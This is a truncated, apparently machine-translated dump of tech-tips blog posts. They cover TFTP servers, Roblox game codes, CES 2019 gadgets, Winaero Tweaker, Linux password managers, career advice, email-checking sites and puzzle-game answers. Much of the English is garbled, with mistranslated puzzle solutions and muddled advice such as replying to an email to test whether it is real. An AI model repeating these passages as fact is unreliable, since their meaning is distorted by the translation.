update when more software is available. If you have any suggestions, please leave a comment in the comment section below and we will review it, then add the proposed software to the list.\nSolarwinds TFTP server   Solarwinds TFTP server is a great utility and compact tool that gives you the ability to transfer files to and from this tool for FREE. Thanks to the completely free advantage, it is one of the best TFTP servers to use in your IT tools 'arsenal,' especially if you are working with switch devices, routers and firewalls. , things that need to be updated, backed up and configured regularly. This software can transfer files up to 4GB in size and run as a server in Windows operating system. Another benefit of Solarwinds TFTP Server is the ability to transfer multiple files simultaneously (simultaneously) due to its multithreaded design.\nFor those who are interested in security features, you'll be glad to know that you have the ability to allow or deny individual IP addresses and even IP ranges if needed. The real whitelist / blacklist feature is capable of minimizing possible unauthorized access requests.\nLink download Solarwinds TFTP Server.\nTFTP WinAgents   WinAgents TFTP server is another great solution that will help you transfer files via TFTP and have additional functions: IP address allocation and multithreading support.\nWinAgents is a great free TFTP server that is scalable and comes with a full set of features. With the ability to exist in parallel with the deployment of firewalls and its multi-threaded support, this server really provides all the necessary features.\nWinAgents runs as a Windows service, allowing you to not worry about starting execution when the machine is logged in and it also includes countless advanced features. Some of the outstanding features include:\nTsize and blksize Modify the waiting time (Timeout) Server port range Block Number Rollover for larger files Limit access by IP address or IP range Allocate rights by IP address Enterprise version available Price\nStandard License for WinAgents TFTP Server (50 connections) - 99USD (2,307,000 VND). License for WinAgents TFTP Server for business (unlimited connection) - $ 299 (VND 6,970,000). TFTPD64   TFTPD64 is a free open source TFTP server, which also includes many different services, including DHCP, TFTP, DNS and even syslog and functions as a TFTP Client. TFTPD32 also appears as an x64 version installed as a Windows service. This server is fully compatible with all TFTP optional support including tsize, blockize and timeout, providing users with the best performance when transferring files back and forth.\nDownload link:\nTFTPD64 installer TFTPD64 portable version TFTPD64 service version See more:\nInstructions for setting up individual FTP Server with FileZilla Instructions for setting up and managing FTP Server on Windows 10 How to create and manage FTP Server using IIS on Windows XP ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdqbO1vIysnKuulad6p7vRZq6ippSkxLQ%3D\n","link":"/post/the-best-tftp-server-for-windows/","section":"post","tags":null,"title":"The best TFTP server for Windows"},{"body":"Codes of Roblox games often have codes that give players in-game currency. Then gamers change the code into money and buy whatever they want.\nThere are games that do not give money but give skins and items to players and do not give money. For example, code Mad City only gives character skins and car skins, items. Different from other games like Code Murder Mystery, Code Project XL, Code Sharkbite. Only give players money or experience experience.\nCode Ninja Legend also only gives players money, including diamonds, spending and training time along with some other items. You can find these items by the code below.\nLatest Ninja Legends Code Auto Train epictrain15 - 15 Minutes of Auto-Training roboninja15 - 15 Minutes of Auto-Training Code to receive Gems christmasninja500 - 500 Gems Code to receive Chi Get 50 million Chi - innerpeace5k Get Chi - skyblades10K Get Chi - silentshadows1000 Get Chi - darkelements2000 Get Chi - silentshadows1000 Get Chi - omegasecrets5000 Get Chi - ultrasecrets10k Get Chi - elementmaster750 Get Chi - secretcrystal1000 Get Chi - skymaster750 Get Chi - legends700m Get Chi - dojomasters500 Get Chi - dragonlegend750 Get Chi - zenmaster500 Get Chi - epicelements500 Get Chi - goldninja500 Get Paid - goldupdate500 Get Chi - legends500m Get Chi - senseisanta500 Get Chi - blizzardninja500 Get Chi - mythicalninja500 Get Chi - legendaryninja500 Get Chi - shadowninja500 Get Paid - legends200M Get Chi - epicflyingninja500 Get Chi - flyingninja500 Get Chi - dragonwarrior500 Get Chi - swiftblade300 Get Paid - DesertNinja250 Get Chi - fastninja100 Get Chi - epicninja250 Get Chi - masterninja750 Code to receive Souls 20 Souls: sparkninja20 5 Souls: soulhunter5 How to enter code Ninja Legends\u0026nbsp; Step 1: In the main interface, you just need to select the familiar Code icon on the right edge.\n  \nStep 2: Done then enter the code in Type Code Here and press Enter to receive the corresponding reward.\n  \nMost are codes to receive Chi and gems, so you will see the rewards added immediately. The above codes will have an import time limit or import time. Please update Ninja legends code regularly in TipsMake's article.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKWYrZ2jqXqvtc2jmGaklZyyr7DSZpqonJVirq%2BwjKGmsGWkpHqmutOeqWasmJp6pLvDng%3D%3D\n","link":"/post/the-latest-ninja-legends-code-and-how-to-enter-the-code/","section":"post","tags":null,"title":"The latest Ninja Legends code and how to enter the code"},{"body":"CES (Consumer Electronics Show) - The annual consumer electronics exhibition in early January (this year is January 8-11), is a major event of the technology world.Like the tradition that has existed for many years, CES 2019 also contains something very interesting, extraordinary, creative, and oddly missing.\nAt the five-handed CES, we saw 8K screens with extremely large sizes, futuristic autonomous cars, automation robots, smart home appliances, and many other interesting products.But besides that, there are also a lot of quirky 'technological toys' that have been brought to this event.Let's take a look at what strange things are at CES 2019!\nWhat is CES? Why is the tech world boiling for CES? The most exotic products CES 2019 Robot plays table tennis Smart breast pump Smart dumbbells Robot for lonely people Sleepy robot Wearing device helps reduce stress Smart toilet of Kohler MUI smart screen Smart treadmill for cats Lamborghini massage chair Smart toilets for dogs. Equipment to create applause Babyeyes camcorder Pigzbe money management machine DrinkShift smart refrigerator Solar Cow battery charger BreadBot bread machine Qoobo pet robot Robot plays table tennis   \nThe big guy who looked as if he had just stepped out of these fictional movies was actually a professional table tennis player.In addition to the main task of defeating all amateur 'table tennis athletes' at CES, he can record every movement of his opponent, then carefully analyze those movements to find points. weak and exploit this weakness.At the same time, it is also possible to help the opponent practice to overcome weaknesses step by step.It is unclear whether this ping pong robot is sold on a commercial scale, but if it does, then the ping-pong coaches will have to sit idly by!\nSmart breast pump   \nThis is probably not something you can see every day: A smart, hands-free breast pump, allowing mothers to have an easier day when not always worrying about squeezing. How milk or milk storage.\nThis machine actually consists of two cups, and the mechanism of action is simply to slip inside a bra, and the mother can freely roam around, do housework while the device does the work of me\nNot only that, this smart breast pump also comes with an iOS / Android app to help mothers keep track of how much milk has been sucked and manage storage regimens (milk is stored inside bags. Small, can freeze or freeze).Very smart!\nSmart dumbbells   \nIs it too early to think about liquidating all the rough, dusty and always rolling weights at gyms and replacing them with this device?\nTrue to its name, this smart dumbbell will be able to track your health indicators, and your workout time via an application that is connected to the smartphone.Moreover, you can also change its weight from 6kg to 20kg, so there is no need to buy many weights with different weight levels.The device has a handle and shape like a normal kettlebell weight, except that this dumbbell runs on a battery with traditional barbell running on 'rice' - A dream for exercise enthusiasts but not much time.\nRobot for lonely people   \nThis companion robot, named Lovot, carries on its noble mission to help people feel less alone.Lovot will have the same actions and gestures as the pet bones.Lovot is self-consciously hanging around you, waving his soft wings when he wants to be held and hugged, and a camera mounted on Lovot's head will help him to recognize his master and make eye contact with those around him. . all these things just let you feel your life less boring.\nSleepy robot   \n'Oversized peanut seeds' wrapped in a layer of cloth can gather information and mimic the pace of the breath, thereby helping you to fall asleep and sleep better, sounds good. !\nAccording to Somnox startup, the owner of the sleeper robot said the robot will help you fall asleep faster, sleep deeper to have a more refreshing spirit after waking up.It does this by mimicking the chest up and down movements when breathing at slow pacing, which helps you relax, slow your breathing to the same speed and thus focus your attention. You go into a deep sleep, while emitting soft sounds that help you fall asleep quickly.\nI wonder what this robot will do when you snore or sleepwalking, have nightmares?That's what makes us really nervous.\nWearing device helps reduce stress   \nThese non-invasive neural devices are advertised as using technology called BLAST (a smart vibrating mechanism) to help reduce stress by more than 70% in just 30 seconds.\nTo prove this vibrating device really works, TouchPoint conducted a scan of the testers' brains before and after using the device.And as you can see from the data collected, the device tried to reduce the level of stress (red) in the user's right frontal lobe.Well, that sounds good, but in order to put it into practical use, it is still necessary to have clearer tests.\nSmart toilet of Kohler   \nThe US-based high-end home appliance company Kohler claims that it has created the world's smartest toilet system, most notably the Numi 2.0 smart toilet.This futuristic device provides personal settings that allow users to adjust every option equipped on their . toilet according to their exact preferences, from ambient light color to ability to synchronize music. Through Bluetooth integrated surround sound and wireless technologies for heating up pedestals and footrests.With this modern toilet, you can play your favorite music and podcasts through wireless broadcast settings with any device connected by Bluetooth technology, as well as storing MP3 files to an SD card or Plug your device in with the auxiliary cable.\nNot only that, Numi 2.0 also integrates the Amazon Alexa virtual assistant so you can do more while . using the toilet.Perhaps in the future, when Kohler's smart toilets are in common use, it is likely that mankind will have to spend more time on 'this kind of routine work' by simple, yes Too many cool things to keep us!\nMUI smart screen   \nA wooden panel is connected and used as a smart touch screen.This device comes with touch control functions and intuitive data display such as thermostats, weather information, brightness control controls and even access to your voicemail, copper Time to make your room more elegant.But the most interesting thing is that the device is expected to cost up to $ 1,000 (£ 785).\nSmart treadmill for cats   \nIs your pet cat overweight?If so, you should persuade him to use this The Little Cat treadmill - a true fitness device for oversized cats.The device has LED lights in the middle of the track to make your cat feel more excited.Oh, well, before the cat can reduce the fat, your wallet may have been lighter as the device is priced at $ 1,800 !!!I do not know what you think, but for me, maybe I will try to build a new menu for my cat.\nLamborghini massage chair   \nFirst, it can be confirmed that you can absolutely buy a real car with a lower price than this expensive massage chair.But, this chair is not for the poor, it is priced at up to $ 30,000.However, it must be said again, not naturally Lamborghini massage chairs are so expensive.The product uses advanced skin options, body massage experience, heart rate measurement, monitoring your health status and then customize the massage program for you.Oh yes, it also has a relaxing light system and smart design for many poses and figures.But after all, I still feel that the $ 30,000 price doesn't seem to be very good.\nSmart toilets for dogs   \nAbove we have a treadmill for cats, so there's no reason to be surprised at the smart toilet for dogs.You can take your dog for a walk for him to \"clean himself\", or if conditions permit, you can spend $ 1,200 for this smart toilet.The product is advertised as the world's first fully automated pet toilet.After your four-legged friend finishes his job, the bottom of the toilet will emerge and collect the waste into a small plastic bag, which is then 'sealed' carefully so that you can discard it still ensure hygiene.\nEquipment to create applause   \nIn addition to its main use as its name is to create brittle applause, this device also serves as 'fuel for nightmares'.When you start, not just the mouths of these birds start to clap, but the hands on its head also pat, and it will start to 'talk' to you with a face that is not so cute.The good news is that this device has no legs, so you can run away.Run quickly.\nBabyeyes camcorder   \nYou can no longer keep any memories from your childhood in your crib, but Babeyes will change that.What is the solution here?It's a mini camera that can be worn on your baby (or next to the bed, crib), and it will start recording videos when parents (ie you) enter the frame.The idea behind the $ 139 camera is expected to be officially released later this month is that it will help capture the moments of love and fun of children with their parents to keep as a memory that they can review many years later, when grown up.It sounds worth it!\nPigzbe money management machine   \nPigzbe wants to teach your children about the meaning of money and how to manage allowances.But that allowance will be converted to an electronic currency called Wollo.It sounds a bit more complicated than buying a piggy bank ?!Pigzbe's inventors argue that we are living in an age where cash and coins are becoming less common, and though Pigzbe's approach is perfectly reasonable, it must also be Review a little about the feasibility of actual use.Imagine that you have to explain the fluctuation value of electronic money for a six-year-old child.It sounds a bit hard!However, many people still believe in the feasibility and effectiveness that Pigzbe will bring.The product is expected to be officially released in June at a price of 99 USD.\nDrinkShift smart refrigerator   \nHave you ever come home after a tiring day, planning to open the refrigerator and find a bottle of beer to drink cool, then stunned to find that the beer bottle you put in the refrigerator last night was someone love drinking, while now having to run to the grocery store is too guilty!\nDrinkShift will help you avoid such situations by allowing you to monitor the status of drinks stored in the cupboard.DrinkShift is rather a system of two separate parts.Hardware is a refrigerator, can accommodate more than a dozen bottles of beer, drinks of all kinds.Software is a companion application, which helps you monitor the status of beverages stored in a remote cabinet.When you take a bottle of beer out of the refrigerator, the app will mark it and when the drinks are out, the app will also send a notification.\nConvenient and useful, however, there are also two major problems with DrinkShift.First, you'll have to buy a mini fridge, which is a big investment in storing and tracking 12 beer bottles.Secondly, the whole system basically ensures you will never have enough beer in the house, why say so?This may sound good in theory but can also lead to some serious alcoholism.\nSolar Cow battery charger   \nIgnoring all the skepticism, Solar Cow can be considered one of the most amazing and potential inventions we have seen at CES 2019, it is really not only strange, but also amazing. .\nSolar Cow is essentially a giant portable battery charger.In many areas of the world, where poverty is widespread, or areas divided by natural disasters and war, smart phones are still surprisingly popular (that's why Android Go exist).However, in these areas, electricity is not so popular, so smartphone users sometimes have to walk miles from their homes to some public area just to charge them. .The worse thing is that they often have to pay for the device's charge, which is a huge burden for those who already have no income.\nMeanwhile, Enter Solar Cow, using solar energy to charge small white batteries looks like milk cartons.People can remove a battery pack and use it to charge their device.When finished using, just put that battery pack back to the original position to use for the next time.The battery packs themselves will also be designed to be unusable on any device except Solar Cow that they link to help prevent theft and misplacement.\nThis device is very useful and great, but we have to admit that the stainless steel cow with its batteries represents the breast to look silly and weird!\nBreadBot bread machine   \nWell, what do you think about a machine that can create ten loaves of bread every hour and handle the whole process from processing bread mixes to cooking and cooling the loaves in a perfectly clean model and closed?Now we will talk about such a machine!\nOf course, BreadBot is not a device for households.It aims to be used in more grocery stores, where customers can grab a fresh loaf of bread directly from the BreadBot oven and take it home.BreadBot can help grocery stores cut down on related expenses such as cleaning and hiring staff, as well as providing shoppers with more convenient and enjoyable buying and selling experiences.\nQoobo pet robot   \nIf you want to have the joy of owning a pet and don't want to have any trouble raising a real cat or dog, Qoobo may be the product for you.\nThis 'electronic tail pillow' will act as a family pet.It can wave its tail, move around in response to the owner's gestures.You can feed Qoobo pet, pat and hug it, and the device will respond as if it were a cat or a dog wagging its tail obediently.\nAlthough Qoobo sounds quite feasible on paper (it has the advantage of a cat that does not defecate indiscriminately, does not clam all day or sheds hair everywhere), but for sensitive people it looks like Qoobo seems quite scary.This feathered pillow has a wagging tail that looks like a real animal, although no face, eyes, mouth, feet .\nThese are very interesting products, cute and equally oddly introduced at CES 2019. In addition to the famous inventions, it is these interesting products that are also a factor to create dense. special in CES seasons.Hopefully at CES 2020, we can still witness more such products.\nSee more:\nCES 2019: Is there anything to look forward to in the world's biggest 'catwalk' this year? LG's future TV: Can be rolled in a box and will be sold in 2019 Intel officially introduced the Ice 10nm CPU, promising to be available on PCs shipped later this year CES 2019: fertile ground for Laptop and Notebook ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7a7rdGrnGahnquyr8DIqKWsZZOawG5%2Bj2pw\n","link":"/post/the-most-bizarre-inventions-ces-2019/","section":"post","tags":null,"title":"The most bizarre inventions CES 2019"},{"body":"Winaero has officially launched a new version of Winaero Tweaker, a tool that helps individual users maximize on Windows. In particular, this update supports a variety of setup options for personalizing the latest version of Windows 10 Spring Creators.\nLearn about the interesting settings of Winaero Tweaker Windows 10 Spring Creators offline.\nFirst, go to the address below to download the latest version of the Winaero Tweaker.\nWinaero Tweaker 0.10.1\nAfter unzipping, proceed to launch the package to install Winaero Tweaker on your Windows computer.\n  Winaero Tweaker will provide you with 2 installation options:\nInstall directly into the system (Normal mode). Discharge the compressed package into a portable version that can be used on any computer (Portable mode) and anytime.   After the installation is complete, launch the tool, a message will appear asking users to confirm the terms of use of Winaero Tweaker -\u0026gt; click I Agree to continue.\n  Winaero Tweaker's interface is quite user-friendly, the set groups are presented in the folder tree format. When customizing a setting, enter the corresponding title.\n  Users can easily adjust the settings according to their preferences through bookmarking options or sliders.\n  With Winaero Tweaker, users can disable or enable hidden features in Windows.\n  The important options that Windows users usually start are to disable Windows Update.\n  Or disable the ability to copy data from computer to USB.\n  Or create a greeting or note when logging in or out of Windows.\n  To save your preferences in Windows and reuse it when you reinstall Windows or use it on another computer if you want, go to Tools -\u0026gt; select Import / Export Tweak .\n  See more:\nExperience Windows 10 Spring Creators Update Instructions for delaying updating Windows 10 Spring Creators Update in 365 days Instructions for installing Windows 10 Spring Creators Update ncG1vNJzZmismaXArq3KnmWcp51kxKq6wJ6pqGWkrLKit8SrZJplpKS8rXnToZitZZaqua3FjKmcq6ufo66ttdmeqmavmaOxsMPSZmhpZaOlv6q6xmaaq52Rqbyzvw%3D%3D\n","link":"/post/winaero-tweaker-a-tool-that-fully-personalizes-windows-10-spring-creators/","section":"post","tags":null,"title":"Winaero Tweaker, a tool that fully personalizes Windows 10 Spring Creators"},{"body":"Privacy and security concerns are one of the big reasons people use free and open source software. But now, protecting data on computers is only a part of the challenge that you must overcome. How to manage all passwords for different accounts on the web?\nPassword manager is a great way to handle problems. Here are the best Linux password managers that you can trust to handle your passwords properly.\nManage Linux passwords easily with the following tools 1. KeePass 2. GNOME Password Safe 3. Password Safe 4. Password Gorilla 5. qMasterPassword 6. QtPass 7. Bitwarden 8. Your browser Some other options 1. KeePass KeePass stores all passwords in the encrypted database, existing in a single file on the computer. You can access this database by password, key file or both.\n  This database is portable, so you can access your password on any device that contains a copy. If you don't often create a new account, you can copy this file manually, or set up any Linux-friendly file synchronization method that works best for you.\nKeePass started as a Windows application in 2003 and the interface hasn't changed much since then. Therefore, although the functional advantages cannot be denied, KeePass's design is somewhat outdated. This design is not as intuitive as some new web-based options, but thanks to the long-term use and popularity of the application, there are many plugins to expand the potential of KeePass.\nThere are many versions of KeePass for Linux. KeePassX and KeePassXC are Linux-friendly options, built using the Qt toolkit.\nDownload KeePass X (Free) Download KeePass XC (Free) 2. GNOME Password Safe Many users are often concerned about how the applications in use integrate well with the rest of the desktop environment. If you are one of these and are using GNOME, then you probably know most options are not suitable. In that case, consider GNOME Password Safe.\n  GNOME Password Safe is as simple as a normal desktop-based password manager. First, you create a 'safe box' to store all your passwords. After that, you choose to protect this safe by password, key file or both. Then enter your account and password. This process sounds familiar, because GNOME Password Safe uses the same format as KeePass.\nGNOME Password Safe eliminates most of KeePass's complexity, as well as most other options. This makes GNOME Password Safe a great password manager for anyone who has never used such a software before. On the other hand, you may find it frustrating because this application lacks features that you are familiar with in other applications.\nDownload GNOME Password Safe (Free) .\n3. Password Safe You can use the beta version of an unrelated open source Windows application, also called Password Safe, for Linux.\n  Password Safe uses a concept similar to KeePass. You can store passwords and usernames in one or more databases. The application ensures to prevent sensitive data from being swapped into the drive, erasing temporary data in memory as quickly as possible and without saving your main password directly.\nPassword Safe is more familiar on some non-GNOME desktops, such as Xfce and MATE.\nDownload Password Safe (Free) .\n4. Password Gorilla If you like Password Safe but find that the beta version doesn't work very well, there is a compatible application that has existed for many years. That's the Password Gorilla.\n  Password Gorilla is another cross-platform password manager, storing all accounts in an encrypted database. The versions of Password Gorilla are available for Windows and macOS. There is no mobile version, but you can find compatible versions of Password Safe for Android and iOS instead.\nDownload Password Gorilla (Free) .\n5. qMasterPassword   Don't like the idea of ​​a single file containing all your passwords? Do not worry! qMasterPassword will provide a different approach. This password manager requires you to create a unique master password. Then, it creates a password for your account with the main password and related website. Even if someone knows you use qMasterPassword, they can't easily guess your login information without knowing the primary password you used to create them.\nqMasterPassword is the Linux version of the Master Password algorithm. qMasterPassword has many versions compatible with different platforms, some of which are available for Android and iOS. As Qt-based software, qMasterPassword is a great application for use with KDE Plasma.\nDownload qMasterPassword (Free) .\n6. QtPass KeePass may be the most popular option on this list, but that doesn't mean it's the only tool. Pass is a command line tool that stores each password inside a separate GPG encrypted file.\n  Thanks to QtPass, you can apply this security method without having to use a terminal. QtPass is a desktop tool that allows you to manage your passwords without learning any commands. You can perform most of the same functions as the command line version.\nDownload QtPass (Free) .\n7. Bitwarden The above options can be used offline. Bitwarden is an open source web service, synchronizing your passwords on all PCs and mobile devices. Bitwarde versions are compatible with Linux, as well as Android and iOS. Some available web browser extensions can also automatically enter stored passwords when you visit a website.\n  Bitwarden saves your passwords online, which is why it is easy to access passwords on devices. On the other hand, copies of your passwords exist online and someone can steal them. On the positive side, Bitwarden encrypts and hash (hash - convert from one value to another) all data before the device leaves your device.\nTechnically, someone can break Bitwarden's security layer, or they can get your main password. While with offline options like KeePass, password thieves need access to computers to achieve their goals.\nIn contrast to exclusive alternatives, the Bitwarden code is available for review and inspection. This gives you more peace of mind when transferring important data to others for security.\nYou can create an account and synchronize all passwords for free. Option to pay additional 1GB of file storage, support for additional authentication methods such as YubiKey and FIDO U2F, etc.\nDownload Bitwarden (Free) .\n8. Your browser Mozilla Firefox is preinstalled for the most popular Linux versions. You must download alternatives such as Google Chrome and Vivaldi if needed. All three browsers can save passwords and automatically import them when you visit a website. They can also synchronize passwords between multiple computers.\n  You don't need a cross-browser browser to enjoy these features. Browsers for Linux-only GNOME Web and Falkon can also store passwords. Basically, any Linux web browser can do this.\nNo matter which web browser password manager you use, understand that this is not the only security option. If you share your computer with anyone, unless they log in to another user account, the auto-fill feature can allow them to easily access your web account. Some browsers perform password encryption and require the main password, while other browsers provide them in plain text. And if you synchronize passwords, their copies can exist online.\nSome other options LastPass supports Linux. Like other commercial, web-based services like Dashlane and 1Password. If the password manager works in Chrome or Firefox, chances are it also works on Linux.\nThere are also a few old projects that still exist in the Linux application store, but have not been updated for many years, such as Revelation and Universal Password Manager.\nWish you have the right choice!\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZqSZo8K5ec%2Baqqyvn6exbrnAp5ignaKo\n","link":"/post/8-best-linux-password-managers/","section":"post","tags":null,"title":"8 best Linux password managers"},{"body":"About the author : Liz Ryan is the CEO and founder of Human Workplace - the company specializes in providing career-oriented counseling services, job interviews, startups, brands, strategies and many other content. This article is translated from sharing by Liz Ryan posted on Forbes.com. This is a letter that a reader is having a problem with his job and wishes to consult about whether to leave his current job when his boss \"promotes\" him but does not change his position. list and adjust salary accordingly.\nThe content of the letter Hello Liz,\nFive years ago, my boss said, \"You will advance quickly. I want you to become a Lead Technician.\" I was very excited about that. Gradually, I began to take on larger projects and no longer had to do odd jobs like when I first joined the company.\nAfter a while, the boss said, \"We will officially announce that you are the Lead Technician in July.\" I look forward to the day when I will become the \"official\" leader.\nAfter the Independence holiday (July 4, USA), I returned to work. My desk was moved and the boss told everyone that \"Jarrod will now be Lead Technician. The salary and job title will be changed after you take this position for several months.\" I could not believe it.\nI feel like I've been cheated. I will do the task the boss delivered because I need a job. However, I really want to \"go crazy\". Everyone congratulated me on being promoted but anyone understood that I was not given any extra salary or bonus.\nThey did not know that the boss once said: \"Jarrod is Lead Technician\" but the boss did not change my job title in Business Card and company diagram. I feel like I want to step out of the company right away, but I'm not brave enough.\nI love work very much. I want to take on a new position but I also need a suitable salary to pay for my life and have the motivation to continue. What should I do?\nThanks very much,\nJarrod.\n  The reply letter from CEO Liz Ryan Dear Jarrod,\nWhat I want to say here is that with what you have dedicated, the boss should have adjusted your title and salary, otherwise he might be joking.\nThe good news is that you don't have to answer the question: \" Does the boss treat me like that?\" right now. You can take on new responsibilities and bet that you will become a \"real\" Lead Technician the next time the boss doesn't do as quickly as he has promised.\nHowever, before you evaluate your boss as a scam, do these 5 things:\n1. Accept the new task and write down your job description paper. Write down the way you want to read it.\n2. Thank you boss for \"promotion\" and ask your specific time boss to increase your salary and change your title. Then, let the boss see the job description you wrote, asking if the boss wants to add or edit anything. Once you agree with the description, ask your boss to send it to the human resources department to consider the salary commensurate with your job responsibilities.\n3. Keep track of the time your boss and HR will adjust your salary and bonus policies\n4. Give your boss the opportunity to correct this mistake before deciding to quit. Because, as you said, you love your job.\n5. Don't just ask but share with your boss. Does the company have any difficulties? Does the boss have any problems when making a promotion decision? Sit back with the boss and find a way to solve the problem.\nIf after all of this is done without having a clear decision about your title and salary, you should jump because your ability deserves more than that.\nWish all the best,\nLiz.\nncG1vNJzZmismaXArq3KnmWcp51kr6a1zaBkqaqfory1scNmma6sXam1pnnSmqOaqqlirq%2BwjK2graSVYrWiwsRmpaisXZi1orrGnptmoaNiwamxjJumrKtdn7ystc2g\n","link":"/post/being-promoted-but-the-salary-and-title-have-not-changed-is-the-boss-joking/","section":"post","tags":null,"title":"Being 'promoted' but the salary and title have not changed, is the boss joking?"},{"body":"Currently, the situation of impersonating email a lot of users. You need to be careful with the content of the email sent to you from strange emails. Need to determine whether the message was sent from real or fake email address.\n  Usually you send a reply to that email, if the message does not prove that the email is fake, if the message is sent, it is a real email address.\nIn addition, you can use some online websites to check whether emails are real or fake quickly.\nMailTester http://mailtester.com/ Step 1: You access the website mailtester.com, then enter the email address to be verified in the text box next to E-mail address .\n  Step 2: Click Check address to start checking email.\n  Step 3: Check the results.\nAfter conducting testing and analysis, the website will give the results. If all results in green background are real email (email exists).\n  If the result shows up with a color other than green (yellow or red) is a fake email (the email doesn't exist).\n  Smart-IP.net http://smart-ip.net/ This is a website that provides many useful tools to check websites, check files for viruses and check whether emails are real or genuine.\nStep 1: You access the website smart-ip.net .\n  Step 2: Select Tools -\u0026gt; Check E-mail .\n  Step 3: Enter the email address to check into the E-mail address to check box and click Check .\n  Step 4: If the test result is \"E-mail address\" TipsMake.vn@gmail.com \"exists\" is the real email.\n  If the result is \"E-mail address\" TipsMakem.vn@gmail \"does not exist\" is a fake email.\n  Free Email Verifier http://verify-email.org/ Step 1: Access website verify-email.org.\n  Step 2: Enter the email address to check in the text box next to Verify then click Verify .\n  Step 3: Check the results.\nIf the result is OK, then email is real email.\n  If the result is Bad , the email is a fake email, does not exist.\n  From now on you can completely check whether the email is real or fake quickly, you can choose for yourself a way that you find it best. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkn5mbmnqmucCio6xlk52ypLeMop1mmZ5isq6tyKVkmpyUp7K0v4yer6KrpKh6sL6Mp6at\n","link":"/post/check-fake-emails-check-if-an-email-address-exists-or-not/","section":"post","tags":null,"title":"Check fake emails, check if an email address exists or not"},{"body":"Along with the game I know is hot on mobile, the title game 2 pictures 1 word - Searching for songs is also in the form of questions, user quiz is quite attractive but no less brainstorming, right in the way that look easy difficult. This is a game that challenges the ability of players to deduce, from 2 suggested images you will have to deduce and guess into a complete word meaning or a famous song or a movie name. And to overcome thousands of questions that the game offers, make sure you are a good judge, listen to music regularly and constantly update songs on the music market today. However, with the challenges that the game offers, there may be times when you will \"give up\", find out the answer and need the help of the people around you. Therefore, today Network Administrator will share with you the answer game Tracing the song to help you easily overcome the difficult screen guessing game.\nAnswer Game 2 Figure 1 Letter - Searching for Song Currently, the Track Tracing game has 3 question packs for players to freely conquer and explore including:\n2 Image 1 Letter - Guess the word. 2 Image 1 Song - Guess the song. 2 Figure 1 Movie - Guess the movie.   Part 1: 2 Figure 1 Letter - Guess the Word (from Level 1 to Level 32) Level 1: LACTROI - Lost drift.\nLevel 2: KHIKHO - Dry monkey.\nLevel 3: HOCSINH - Student.\nLevel 4: SOCLO - Squirrel.\nLevel 5: HOBAO - Warning.\nLevel 6: TINHTU - Love.\nLevel 7: BAOCONG - Covered.\nLevel 8: KIMTUYEN - Online.\nLevel 9: KHAUTRANG - Mask.\nLevel 10: SANHSOI - Gourmet.\nLevel 11: CAODIEM - High score.\nLevel 12: BANHKEO - Confectionery.\nLevel 13: CUCAO - Shirt button.\nLevel 14: AOBONG - Cotton shirt.\nLevel 15: CHUOTTUI - Kangaroo.\nLevel 16: GIANDOAN - Interruption.\nLevel 17: MEOMUOP - Wild cat.\nLevel 18: CASAU - Crocodile.\nLevel 19: NUOCCOT - Juice.\nLevel 20: BAOTHUOC - Package of pills.\nLevel 21: GIAYAN - Paper feeding.\nLevel 22: DANTRANH - đàn Tranh.\nLevel 23: SAOHOA - Mars.\nLevel 24: CAOOC - Building.\nLevel 25: MYQUAN - Beauty.\nLevel 26: PHAOSANG - Flares.\nLevel 27: QUANBO - Jeans.\nLevel 28: GIAYDINH - Shoe nail.\nLevel 29: TOYEN - Bird's nest.\nLevel 30: BUTMUC - Ink pen.\nLevel 31: MODAU- Oilfield.\nLevel 32: CANHCAO - Warning.\nPart 2: 2 Image 1 Song - Guess the song (from Level 1 to Level 59) Level 1: EMGAIMUA - Girl raining.\nLevel 2: ONGBAANH - Your grandparents.\nLevel 3: LACTROI - Lost drift.\nLevel 4: BAOGIOLAYCHONG - Ever married.\nLevel 5: NOINAYCOANH - This place has you.\nLevel 6: DAUCHIRIENGEM - It's not just me.\nLevel 7: XINDUNGLANGIM - Please don't be silent.\nLevel 8: TUHOMNAY - From today.\nLevel 9: DAPMOCUOCTINH - A grave of love.\nLevel 10: HOIUC - Memories.\nLevel 11: CHIPHEO - Chi pheo.\nLevel 12: TUYAM - Phonics.\nLevel 13: CHARACTERISTICS - Behind a girl.\nLevel 14: CONBUOMXUAN - Spring butterfly.\nLevel 15: VONGUOITA - His wife.\nLevel 16: CHACAIDOSEVE - Probably someone will return.\nLevel 17: TRAITIMBENLE - Heart on the sidelines.\nLevel 18: NGUOIPHANBOI - Traitor.\nLevel 19: HAITHEGIOI - Two worlds.\nLevel 20: MATTROICUAEM - My sun.\nLevel 21: NGUOITANOI - People say.\nLevel 22: DIEUANHBIET - What you know.\nLevel 23: TRIKY - Century.\nLevel 24: DEMNGAYXAEM - Count days away from me.\nLevel 25: NAMLAYTAYANH - Hold your hand.\nLevel 26: LANGNGHENUOCMAT - Listen to tears.\nLevel 27: GHEN - Jealousy.\nLevel 28: VIYEUMADEN - Because of love.\nLevel 29: SAUTATCA - After all.\nLevel 30: THATTINH- Lost love.\nLevel 31: NGOC - Idiot.\nLevel 32: TIMLAIBAUTROI - Find the sky again.\nLevel 33: CAMNANG - Feeling sunny.\nLevel 34: AMTHAMBENEM - Deep sound beside me.\nLevel 35: BONCHULAM - Four words.\nLevel 36: LAMVOANHNHE - Be my wife.\nLevel 37: CHUOTYEUGAO - Mice love rice.\nLevel 38: DOITHAY - Change.\nLevel 39: CUNYEU - Love dog.\nLevel 40: CONNOME - I owe you.\nLevel 41: TOADOTINHYEU - Love coordinates.\nLevel 42: BUONCUAANH - His sadness.\nLevel 43: GOCUATRAITIM - Knock on the heart door.\nLevel 44: THANHPHOBUON - Sad city.\nLevel 45: DAPNATTINHYEU - Smashing love.\nLevel 46: KHOVIYEU - Love suffering.\nLevel 47: HOIVOMIENTAY - Ask the western wife.\nLevel 48: LACDUONG - Lost.\nLevel 49: YEUVOIVANG - Love in a hurry.\nLevel 50: CHIECKHANGIOAM - Warm wind towel.\nLevel 51: CANHHOATAN - Petals die.\nLevel 52: BIENTINH - Sea of ​​love.\nLevel 53: YEUMOTNGUOIVOTAM - Love a heartless person.\nLevel 54: NAOCAVANG - Goldfish brain.\nLevel 55: KHONGCONNONHAU - No debt owed.\nLevel 56: MUATHUYTINH - Glass rain.\nLevel 57: TINHYEUCHAPVA - Patchwork love.\nLevel 58: 